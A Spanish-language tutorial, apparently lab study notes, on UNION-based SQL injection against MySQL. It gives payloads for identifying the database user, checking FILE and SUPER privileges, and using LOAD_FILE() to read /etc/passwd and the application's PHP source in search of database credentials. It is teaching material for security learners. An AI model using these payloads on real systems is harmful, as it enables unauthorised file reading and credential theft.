SQLi – Lectura de Archivos y Privilegios (LOAD_FILE, USER, FILE)
📌 Introducción
Una vulnerabilidad de SQL Injection (SQLi) permite no solo consultar datos dentro de las bases de datos… sino también realizar acciones peligrosas como leer archivos del servidor, escribir archivos e incluso ejecutar código remoto, dependiendo del DBMS y los privilegios del usuario.
La lectura/escritura de archivos desde SQLi puede comprometer todo el sistema, permitiendo filtración de código fuente, credenciales y escalamiento de privilegios.
🔐 Privilegios necesarios
Leer archivos es mucho más común que escribirlos, ya que las operaciones de escritura están restringidas a usuarios privilegiados.
En MySQL/MariaDB, para usar funciones como LOAD_FILE() o escribir en disco, el usuario debe tener el privilegio FILE.
👤 Identificar el usuario actual en la base de datos
Para saber qué usuario de base de datos somos:
SELECT USER();
SELECT CURRENT_USER();
SELECT user FROM mysql.user;
Payload en la inyección:
cn' UNION SELECT 1, user(), 3, 4-- -
o:
cn' UNION SELECT 1, user, 3, 4 FROM mysql.user-- -

Usuario identificado como: root@localhost
Esto suele indicar acceso con privilegios elevados (DBA).
🛡️ Comprobación de privilegios
✔️ Privilegio de superadministrador (SUPER)
SELECT super_priv FROM mysql.user;
Payload:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
Para filtrar solo el usuario root:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

Resultado: Y → el usuario tiene privilegios de superusuario.
📜 Listar todos los privilegios del usuario
cn' UNION SELECT 1, grantee, privilege_type, 4
FROM information_schema.user_privileges-- -
Filtrar por el usuario actual:
cn' UNION SELECT 1, grantee, privilege_type, 4
FROM information_schema.user_privileges
WHERE grantee="'root'@'localhost'"-- -

-
SELECT
-
INSERT
-
UPDATE
-
FILE ← permite leer archivos del sistema
📁 Lectura de archivos con LOAD_FILE()
La función:
SELECT LOAD_FILE('/etc/passwd');
Payload en SQLi:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

⚠️ Esto permite incluso filtrar código fuente de la aplicación.
📄 Leer código fuente del sitio
Sabemos que la aplicación vulnerable está en search.php.
Intentamos leer el archivo completo:
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
El navegador renderizará el HTML.
Para ver código real: Ctrl + U.


Revisar el código fuente puede revelar:
-
credenciales de base de datos
-
rutas sensibles
-
más vulnerabilidades
-
malas prácticas de validación
🕵️♂️ Revisión final del código PHP
El código PHP muestra que la variable $conn no está definida directamente.
Esto indica que se está incluyendo desde otro archivo mediante:
include("archivo.php");
✔️ Revisar el archivo importado para obtener la contraseña de la base de datos.